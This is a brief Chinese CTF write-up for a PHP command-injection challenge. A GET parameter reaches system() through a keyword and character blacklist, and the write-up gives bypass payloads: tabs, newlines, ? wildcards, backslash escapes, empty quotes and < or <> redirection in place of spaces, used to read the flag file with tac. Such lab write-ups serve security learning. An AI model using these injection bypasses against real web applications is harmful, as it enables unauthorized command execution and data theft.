信息收集
这下把$
*
和数字也给过滤了
php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
解题
老配方
s
?c=tac%09fl?g.php%0a
使用重定位符
在Shell中,反斜杠 \ 是转义字符,用于取消紧随其后的字符的特殊含义。但以下两种情况需要注意:
- 特殊字符:如 $、*、?、空格等,反斜杠会使其失去特殊含义。
- 普通字符:如字母、数字,反斜杠会被忽略,直接保留原字符。
- 所以
flag.txt == fla\g.txt
- 所以
用<
,<>
代替空格。具体查看Shell中的<,<<,>,>>介绍
使用重定向符来替代空格
<
与?
配合使用会失败,原因不详
s
?c=tac<fla\g.php||
?c=tac<>fla''g.php||
其中''
被shell理解为空字符串。Shell会将 相邻的字符串片段自动拼接,无论是否被引号包裹
┌──(si㉿kali)-[~/桌面]
└─$ echo '1'23''45
12345